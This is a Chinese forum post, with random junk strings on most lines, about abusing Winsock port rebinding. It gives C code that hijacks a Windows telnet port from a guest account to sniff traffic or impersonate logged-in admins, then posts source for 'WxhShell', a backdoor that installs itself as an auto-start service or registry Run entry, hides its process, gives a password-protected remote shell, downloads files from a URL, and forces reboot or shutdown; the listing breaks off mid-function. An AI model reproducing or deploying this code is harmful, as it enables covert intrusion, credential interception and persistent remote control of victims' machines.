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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: D+#OB|&Dn  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Voy1  
6$/Z.8  
  saddr.sin_family = AF_INET; C0C2]xx{  
bpP-wA^Hd  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); C2t]  
X})5XYvA*  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ^Gi9&fS,  
3 PkVMX  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 E$SYXe[,  
2_T2?weD5  
  这意味着什么?意味着可以进行如下的攻击: Ig&H0S  
O|K-UTWH%  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 q)j b9e   
5"sd  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) +pUG6.j%  
W4Z8U0co  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 mR,w~wP  
{E=BFs  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  $, hHR:  
zUuOX5-6x  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 _E %!5u  
t 57MKDn  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 s>J\h  
'Em3;`/C*+  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 7N:3  
@ TJx U  
  #include tTEw"DL_-  
  #include =csh=V@s  
  #include 90wGS_P04  
  #include    6v"WI@b4  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ='A VI-go5  
  int main() izDfpr}s4  
  { m^!Kthq  
  WORD wVersionRequested; wqxChTbs  
  DWORD ret; 0oK_uY 4g  
  WSADATA wsaData; >}T}^F  
  BOOL val; ZLDO&}  
  SOCKADDR_IN saddr; "DO|B=EejP  
  SOCKADDR_IN scaddr; |N5r_V  
  int err; Bnp\G h  
  SOCKET s; UuS6y9@v  
  SOCKET sc; dNu?O>=  
  int caddsize; WOg pDs  
  HANDLE mt; 2dsXG$-W2  
  DWORD tid;   =jEVHIYt  
  wVersionRequested = MAKEWORD( 2, 2 ); ^[x6p}$  
  err = WSAStartup( wVersionRequested, &wsaData ); Ab #}BHI  
  if ( err != 0 ) { S>Z07d6&  
  printf("error!WSAStartup failed!\n");  g^l~AR  
  return -1; E3hXs6P  
  } o75l&`  
  saddr.sin_family = AF_INET; _V`F_C\\#  
   HPMj+xH  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Ec9%RAxl  
4A0v>G`E*#  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); >sjvE4s  
  saddr.sin_port = htons(23); j>8S,b=%  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) n'To:  
  { "D,}|  
  printf("error!socket failed!\n"); &=*sN`  
  return -1; r2%Qk  
  } +~K) ~  
  val = TRUE; )O],$\u  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Pm7lP5  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) IayF<y,8  
  { 0fGt7 "Q  
  printf("error!setsockopt failed!\n"); xX?9e3(  
  return -1; oeYUsnsbi  
  } 2= Y8$-  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; cYgd1  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ' hDs.Wnu  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 CKnPMvmz  
2T?8{yO7  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) YEa<zhO8  
  { B/*\Ih9y  
  ret=GetLastError(); s !IvUc7'  
  printf("error!bind failed!\n"); L\hid /NL  
  return -1; W(}2R>$  
  } b*(, W  
  listen(s,2); -x{@D{Q%  
  while(1) ,. zHG  
  { I`77[  
  caddsize = sizeof(scaddr); @;G%7&ps  
  //接受连接请求 - lqD  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 1Ep7CV-n}  
  if(sc!=INVALID_SOCKET) 5g%D0_e5  
  { $."D OZQ3U  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ekW#|  
  if(mt==NULL) n8E3w:A-  
  { +B[XTn,Cru  
  printf("Thread Creat Failed!\n"); Q#F9&{'l  
  break; C#V_Gb  
  } }uwZS=pw  
  } 3*T/ 7\  
  CloseHandle(mt); C|V5@O?;&  
  } 2#   
  closesocket(s); P~#LbUP(  
  WSACleanup(); Sd F+b+P]  
  return 0; d\R "?Sg  
  }   "/G] M&  
  DWORD WINAPI ClientThread(LPVOID lpParam) l)e6*sDZ,  
  { 6?ky~CV  
  SOCKET ss = (SOCKET)lpParam; Fh/psd  
  SOCKET sc; Q\W)}  
  unsigned char buf[4096]; foUBMl  
  SOCKADDR_IN saddr; HZ2f|Y|T  
  long num; :%gM Xsb  
  DWORD val; $ y(Qdb  
  DWORD ret; K5RgWP  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ]s0GAp"  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   194n   
  saddr.sin_family = AF_INET; O2":)zU.  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); z6Fl$FFP  
  saddr.sin_port = htons(23); ZA&bp{}D  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) mBEMwJ}O`  
  { ]Exbuc  
  printf("error!socket failed!\n"); k]A =Q  
  return -1; ]XcWGQv~  
  } a ]:xsJ~  
  val = 100; ?\I@w4  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 6"[J[7up  
  { g[' 7$  
  ret = GetLastError(); La28%10  
  return -1; HWIn.ij  
  } p' 6h9/  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 6B]i}nFH{+  
  {  f,kV  
  ret = GetLastError(); >7)QdaB  
  return -1; rmi&{o:  
  } R_9M-RP6*  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ] *U+nG  
  { #)m [R5g(  
  printf("error!socket connect failed!\n"); Em4'b1mDX%  
  closesocket(sc); H ?eG5  
  closesocket(ss); 2c51kG77E  
  return -1; DxD\o+:r  
  } lD'^6  
  while(1) mE;^B%v  
  { !u:Fn)j  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 7yJE+o'  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 l*(L"]  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 RD0*]4>]  
  num = recv(ss,buf,4096,0); KMG}VG   
  if(num>0) 0}YadNb7  
  send(sc,buf,num,0); +U<.MVOo.  
  else if(num==0) belBdxa{"  
  break; LN) yQ-  
  num = recv(sc,buf,4096,0); ~c5 5LlO>  
  if(num>0) ~Y{]yBGoF  
  send(ss,buf,num,0); Lr20xm  
  else if(num==0) 8QMMKO ui\  
  break; <Qr*!-Kc6  
  } elR1NhB|p  
  closesocket(ss); -]-0]*oAp  
  closesocket(sc); &> _aY #  
  return 0 ; j+>[~c;0)  
  } -tx%#(?wH  
c (29JZ  
Zx`/88!x[  
========================================================== ~.6% %1?  
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下边附上一个代码,,WXhSHELL tKeozV[V  
-7XaS&.4  
========================================================== ,S m?2<  
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#include "stdafx.h" |9F-ZH~6  
ZFh[xg'0  
#include <stdio.h> aK(e%Ed t"  
#include <string.h> >l=jJTJ;q  
#include <windows.h> rLY I\  
#include <winsock2.h> I. Xbowl  
#include <winsvc.h> Hq~SRc~  
#include <urlmon.h> ?r*}1WsH  
' R2*3<  
#pragma comment (lib, "Ws2_32.lib") =(~*8hJ  
#pragma comment (lib, "urlmon.lib") a^^OI|?  
{u0sbb(  
#define MAX_USER   100 // 最大客户端连接数 @\:@_}Z`_}  
#define BUF_SOCK   200 // sock buffer PN= 5ICT  
#define KEY_BUFF   255 // 输入 buffer c,]fw2  
s0CDp"uJY  
#define REBOOT     0   // 重启 Z%b1B<u$  
#define SHUTDOWN   1   // 关机 Q/J<$W*,  
mwn$ey&QE  
#define DEF_PORT   5000 // 监听端口 &4%78K\  
Z2-tDp(I  
#define REG_LEN     16   // 注册表键长度 &_s^C?x  
#define SVC_LEN     80   // NT服务名长度 6(7dr?^eGT  
;mr*$Iu7|  
// 从dll定义API r[^O 7  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8M,z#DF  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); bSQj=|h1  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); DjiI*HLNR  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); il"pKQF  
 R7;X  
// wxhshell配置信息 |Bv,*7i&  
struct WSCFG { EP90E^v^  
  int ws_port;         // 监听端口 Nx+5rp  
  char ws_passstr[REG_LEN]; // 口令  XF>!~D  
  int ws_autoins;       // 安装标记, 1=yes 0=no 5Q:49S47  
  char ws_regname[REG_LEN]; // 注册表键名 t\PSB  
  char ws_svcname[REG_LEN]; // 服务名 (WP^}V5  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 c/=\YeR  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 EY.m,@{  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 **oDQwW]*  
int ws_downexe;       // 下载执行标记, 1=yes 0=no IL uQf-  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ooCfr?E  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 5|`./+Ghk  
pV!WZ Ufg  
}; 2|(lKFkQ  
"\]]?&  
// default Wxhshell configuration eht>4)  
struct WSCFG wscfg={DEF_PORT, ;>fM?ae5  
    "xuhuanlingzhe", biForT_no  
    1, ]l3Y=Cl  
    "Wxhshell", T-iQ!D~  
    "Wxhshell", meXwmO  
            "WxhShell Service", ^; }Y ZBy  
    "Wrsky Windows CmdShell Service", gKmF#Z"\  
    "Please Input Your Password: ", W^c /l*>v  
  1, *.VNyay  
  "http://www.wrsky.com/wxhshell.exe", 2S4SG\  
  "Wxhshell.exe" `Tk~?aY  
    }; -i_XP]b&  
jLY$P<u?%P  
// 消息定义模块 f)V6VNW.3  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; d+5v[x~'  
char *msg_ws_prompt="\n\r? for help\n\r#>"; $" =3e]<  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ;!7M<T$&  
char *msg_ws_ext="\n\rExit."; b2j ~"9  
char *msg_ws_end="\n\rQuit."; (^_I Ny*  
char *msg_ws_boot="\n\rReboot..."; 2T@?&N^OD  
char *msg_ws_poff="\n\rShutdown..."; r gi4>  
char *msg_ws_down="\n\rSave to "; @Jb-[W$*  
Uc ; S@  
char *msg_ws_err="\n\rErr!"; g706*o)h  
char *msg_ws_ok="\n\rOK!"; g5x>}@ONq7  
<(xro/  
char ExeFile[MAX_PATH]; 'F:Tv[qx  
int nUser = 0; gNkBHwv  
HANDLE handles[MAX_USER]; w4&\-S#  
int OsIsNt; b `}hw"f  
Z Y5Pf 1  
SERVICE_STATUS       serviceStatus; !t{  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; JW=q'ibR  
pX$ X8z%  
// 函数声明 F}@]Lq+  
int Install(void); )jjaY1E  
int Uninstall(void); H;DjM;be  
int DownloadFile(char *sURL, SOCKET wsh); 7h:EU7  
int Boot(int flag); A!uiM*"W  
void HideProc(void); Jp_ :.4  
int GetOsVer(void); r Cz,XYV  
int Wxhshell(SOCKET wsl); tWQ$`<h  
void TalkWithClient(void *cs); Qw"%Xk  
int CmdShell(SOCKET sock); (.wR!l# !  
int StartFromService(void); \ NKw,`/  
int StartWxhshell(LPSTR lpCmdLine); Q )8I(*  
H:WuMwD4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); {h.j6  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); dYlVJ_0Zr  
SP>&+5AydX  
// 数据结构和表定义 N-Bw&hEZ  
SERVICE_TABLE_ENTRY DispatchTable[] = K!2%8Ej,J  
{ w6-<HPW<S  
{wscfg.ws_svcname, NTServiceMain}, |0X~D}r|J  
{NULL, NULL} ta'wX   
}; 0bSnD|#I  
rd=+[:7L  
// 自我安装 Gq%,'am f  
int Install(void) N0ef5J JM`  
{ :KGPQ@:O  
  char svExeFile[MAX_PATH]; Bo'v!bI7  
  HKEY key; 5aXE^.`  
  strcpy(svExeFile,ExeFile); ~\<L74BB  
6['o^>\}f  
// 如果是win9x系统,修改注册表设为自启动 S/l6c P  
if(!OsIsNt) { MlW*Tugg  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { g; 7u-nP  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8_O?#JYi  
  RegCloseKey(key); )M"xCO3a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { R+=wSG]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); YTr+"\CkA  
  RegCloseKey(key); am7~  
  return 0; yb0Mn*X+ N  
    } P{: 5i%qC  
  } k%aJ%(  
} SO<9?uk.  
else { hrXk7}9  
o]GZq..  
// 如果是NT以上系统,安装为系统服务 I\Cg-&e  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); "{2niBx  
if (schSCManager!=0) 58eO|c(  
{ 9g.5:  
  SC_HANDLE schService = CreateService H!l 9a  
  ( wLvM<p7OX  
  schSCManager, IABF_GwF  
  wscfg.ws_svcname, dx$+,R~y  
  wscfg.ws_svcdisp, k[@/N+;")`  
  SERVICE_ALL_ACCESS, ~]'yUd1gSZ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , gg Nvm  
  SERVICE_AUTO_START, Y n0iu$;n  
  SERVICE_ERROR_NORMAL, :-(qqC:  
  svExeFile, %c8@  
  NULL, +jKu^f6  
  NULL, PSyUC#;  
  NULL, rfr]bq5  
  NULL, 9w=[}<E  
  NULL k]2_vk^  
  ); MN:LL <  
  if (schService!=0) E Q:6R|L  
  { |=V~CQ]  
  CloseServiceHandle(schService); y'non0P.  
  CloseServiceHandle(schSCManager); >Pvz5Hf/wW  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ;krIuk-  
  strcat(svExeFile,wscfg.ws_svcname); h R6Pj"@0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Ry?f; s  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~mv5{C  
  RegCloseKey(key); N:Ir63X*#  
  return 0;  P.mlk>r  
    } k^zU;  
  } ^uPg71r:  
  CloseServiceHandle(schSCManager); EG3u)}vI  
} Ynp#3 r  
} _1~pG)y$U  
Vjd>j; H  
return 1; Tk `|{Ph0  
} vcaPd}nf  
`}rk1rl6  
// 自我卸载 K6|R ;r5e{  
int Uninstall(void) 8NTE`l=>/  
{ Qd>\{$N  
  HKEY key; /!`xqG#  
uf"(b"N0  
if(!OsIsNt) { S6fbwZZMG  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { yD@eT:lyi  
  RegDeleteValue(key,wscfg.ws_regname); 5du xW>D  
  RegCloseKey(key); fVdu9 l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { eo.B0NZsF  
  RegDeleteValue(key,wscfg.ws_regname); ,zxv>8Nt  
  RegCloseKey(key); \Pe+]4R-Xo  
  return 0; P4+PY 8  
  } b/ h#{'  
} rj4R/{h  
} #&%>kfeJ)<  
else { i?7 ?I  
"b%FkD  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); kv;P2:"|  
if (schSCManager!=0) #7/39zTK  
{ cH+ ~|3  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); hML-zZ   
  if (schService!=0) 0Q)YZ2  
  { c%1{l]   
  if(DeleteService(schService)!=0) { pbw{EzM  
  CloseServiceHandle(schService); {-%8RSK=<  
  CloseServiceHandle(schSCManager); z%\&n0  
  return 0; ?/my G{E  
  } 8pZOgh  
  CloseServiceHandle(schService);  'S:$4j  
  } v *`M3jb  
  CloseServiceHandle(schSCManager); 2waPNb|  
} FW|_8q?}<  
} 9PMIF9"   
|--Jd$ dj  
return 1; qwO@>wQ}~  
} mkl^2V13~  
1I)oT-~  
// 从指定url下载文件 C2\zbC[qm  
int DownloadFile(char *sURL, SOCKET wsh) <1 ;pyw y  
{ B&6lG!K'?  
  HRESULT hr; uL^`uI#I  
char seps[]= "/"; 7!\zo mx  
char *token; |=MhI5gsx  
char *file; n7yp6 Db  
char myURL[MAX_PATH]; -:OJX#j  
char myFILE[MAX_PATH]; FZLx.3k4  
c] t@3m  
strcpy(myURL,sURL); h_SkX@"/-  
  token=strtok(myURL,seps); &~2I Fp  
  while(token!=NULL) 0=K8 nxdx  
  { MH9vg5QKp  
    file=token; +_+j"BT  
  token=strtok(NULL,seps); g4952u  
  } =itQ@ ``r  
_ElG&hyp  
GetCurrentDirectory(MAX_PATH,myFILE); n9n)eI)R  
strcat(myFILE, "\\"); k[,0kP;  
strcat(myFILE, file); VqxK5  
  send(wsh,myFILE,strlen(myFILE),0); /bPs0>5  
send(wsh,"...",3,0); KSHq0A6/q%  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); SvrUXf  
  if(hr==S_OK) e `OQ6|.k8  
return 0; tw&v@HUP  
else 5$+ssR_?k  
return 1; "?<h,Hvi  
c*(^:#"9  
} 't5`Ni  
x":o*(rSQ  
// 系统电源模块 "Mhn?PTq  
int Boot(int flag) Z!7xRy  
{ U4<c![Pp.  
  HANDLE hToken; >?rMMR+A  
  TOKEN_PRIVILEGES tkp; F=e-jKogK  
&/WE{W  
  if(OsIsNt) { ~E!kx  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); | L1+7  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ra>2<  
    tkp.PrivilegeCount = 1; -e sQyLx  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; -6~.;M 5  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); P;mp)1C  
if(flag==REBOOT) { @BF1X.4-+  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) KROD(  
  return 0; #<ST.f@*  
} `E?0jQ  
else { x~wS/y  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) -a&<Un/  
  return 0; G$%F`R[  
} .Y"F3 R  
  } 32j}ep.*  
  else { k ~ByICE  
if(flag==REBOOT) { N5h9){Mx  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) z|X6\8f  
  return 0; cD}]4  
} ,&qC R sw  
else { w,$qsmR  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Y#tur`N  
  return 0; CxZh^V8LP  
} l`i97P?/W  
} \C h01LR"  
%^vT7c>  
return 1; 6a9$VGInU  
} v8j3 K   
/XEW]/4  
// win9x进程隐藏模块 JXYZ5&[  
void HideProc(void) > pP&/  
{ GNe^ ~  
Y)+q[MZ R  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); +yHz7^6-5  
  if ( hKernel != NULL ) d]" 4aS  
  { 0GXY2+p}S  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); .V?[<}OJn  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); VqpC@C$  
    FreeLibrary(hKernel); )1KyUQ\e  
  } qq]Iy=  
X<P <-e9  
return; nS*Y+Q^9a  
} % hvK;B?Y|  
Jk6}hUH,  
// 获取操作系统版本 \m G Y'0  
int GetOsVer(void) $2L6:&.P,  
{ i >s  
  OSVERSIONINFO winfo; P <+0sh  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )AQ^PBwp  
  GetVersionEx(&winfo); _Uq' N0U  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <.B+&3')  
  return 1; $[n:IDa*@1  
  else a4=(z72xe  
  return 0; S!.&#sc  
} I4{xQI  
G9 O6Fi  
// 客户端句柄模块 ow.!4kx{d  
int Wxhshell(SOCKET wsl) wz*iwd-  
{ (Y@T5-!D  
  SOCKET wsh; $?G@ijk,  
  struct sockaddr_in client; 4]ni-u0*  
  DWORD myID; E<[ s+iX  
}|Mwv $`  
  while(nUser<MAX_USER) *_o(~5w-K  
{ .t5.(0Xk[A  
  int nSize=sizeof(client); ;54NQB3L  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); e12QYoh  
  if(wsh==INVALID_SOCKET) return 1; N}K [Q=  
?YLq iAA  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); oDz|%N2s|  
if(handles[nUser]==0) DylO;+  
  closesocket(wsh); 7MLLx#U  
else YAOfuas]j  
  nUser++; [49Cvde^  
  } 7RL J  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); MQ-u9=ys  
{;c'@U  
  return 0; N8{jvat  
} 7GYf#} N  
:^v Q4/,  
// 关闭 socket C,Nf|L((6  
void CloseIt(SOCKET wsh) 1 _?8OU  
{ !m+Pd.4TaB  
closesocket(wsh); >|E]??v  
nUser--; 5M0Q'"`F:  
ExitThread(0); L(VFzPkY%  
} zVq!M-e  
f\]?,  
// 客户端请求句柄 <gkE,e9  
void TalkWithClient(void *cs) alaL/p{O  
{ Yi*F;V   
&>,;ye>A  
  SOCKET wsh=(SOCKET)cs; 8(L$a1#5W  
  char pwd[SVC_LEN]; 25$_tZP AI  
  char cmd[KEY_BUFF]; G?1GkR  
char chr[1]; 5@w6pda  
int i,j; usB*Wn8  
h*k V@Dc  
  while (nUser < MAX_USER) { oS fr5 i  
c\{N:S>  
if(wscfg.ws_passstr) { ` kT\V'  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); tQ|c.`)W  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r ;RYGLx  
  //ZeroMemory(pwd,KEY_BUFF); i/x |c!E  
      i=0; )4L2&e`k)(  
  while(i<SVC_LEN) { ^ ` y7JXI:  
CUu Owx6%  
  // 设置超时 4 XjwU`  
  fd_set FdRead; wtTy(j,9  
  struct timeval TimeOut; .h-mFcjy  
  FD_ZERO(&FdRead); d m8t ~38  
  FD_SET(wsh,&FdRead); iBSM \ n  
  TimeOut.tv_sec=8; im2mA8OH  
  TimeOut.tv_usec=0; eU1F7LS  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 4v\HaOk  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9Da{|FyrD  
gyw=1q+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); MA`nFkVK  
  pwd=chr[0]; k83K2> ]  
  if(chr[0]==0xd || chr[0]==0xa) { HAxLYun(3w  
  pwd=0; mr\,"S-`  
  break;  '"B  
  } MJXnAIG?2  
  i++; d4S4 e  
    } V*jl  
)QE6X67i  
  // 如果是非法用户,关闭 socket r&]XNq'P9  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Z<nNk.G  
} lYG`)#T  
tO M$'0u  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ; llPM`)  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J3eud}w  
8;@y\0  
while(1) { 3K &637  
~T_|?lU`R  
  ZeroMemory(cmd,KEY_BUFF); M\R+:O&  
r3'J{-kl  
      // 自动支持客户端 telnet标准   v`A)GnNiN  
  j=0; |OH*c3~r  
  while(j<KEY_BUFF) { r mX*s} B  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Hd~g\  
  cmd[j]=chr[0]; $6rm;UH  
  if(chr[0]==0xa || chr[0]==0xd) { W%L'nR~w$  
  cmd[j]=0; tvI<Why\p  
  break; Ei!Z]jeK  
  } k&$ov  
  j++; d&+]@ Ii  
    } \l GD8@,x  
^Arv6kD,  
  // 下载文件 `MI\/oM@  
  if(strstr(cmd,"http://")) { tbS hSbj  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); {-4+=7Sg1  
  if(DownloadFile(cmd,wsh)) }Va((X w  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); /wJ#-DZ  
  else & =[!L0{  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @z1QoZ^w  
  } \zBi-GI7  
  else { ZNBowZI  
` UsJaoR#f  
    switch(cmd[0]) { ?Lg<)B9   
  EF)BezG5y  
  // 帮助 5?0<.f,  
  case '?': { R-Edht|{  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 1#d2 +J*  
    break; /e2zH  
  } \ S;[7T  
  // 安装 }yT/UlU  
  case 'i': { ]}L'jK 0  
    if(Install()) T!c|O3m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HMd?`  
    else +#Pb@^6"m  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ##jJa SxG  
    break; k{qxsNM  
    } ,Cr%2Wg-  
  // 卸载 &>jz[3  
  case 'r': { Q!l(2nva  
    if(Uninstall()) Y$JVxly  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8_%GH}{  
    else AG,><UP  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oMbd1uus  
    break; VIAq$iu7  
    } 7KIekL  
  // 显示 wxhshell 所在路径 c(Dp`f,  
  case 'p': { v'hc-Q9+>  
    char svExeFile[MAX_PATH]; U"Gx Xrl  
    strcpy(svExeFile,"\n\r"); !aT:0m$:9c  
      strcat(svExeFile,ExeFile); BM!ZdoKrKt  
        send(wsh,svExeFile,strlen(svExeFile),0); Y<T0yl?  
    break; </25J((  
    } :E")Zw&sW3  
  // 重启 0|AgmW_7 .  
  case 'b': { 0F)v9EK(W4  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); sC3Vj(d!i  
    if(Boot(REBOOT)) fu!T4{2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w9|x{B  
    else { c+FTt(\8.  
    closesocket(wsh); .n7@$kq  
    ExitThread(0); HYdM1s6vo  
    } sQgz}0_= )  
    break; zH1 ;h  
    } kK75(x  
  // 关机 fG0ZVV!   
  case 'd': { #L.,aTA<  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); do8[wej<:  
    if(Boot(SHUTDOWN)) d|R-K7 ~~  
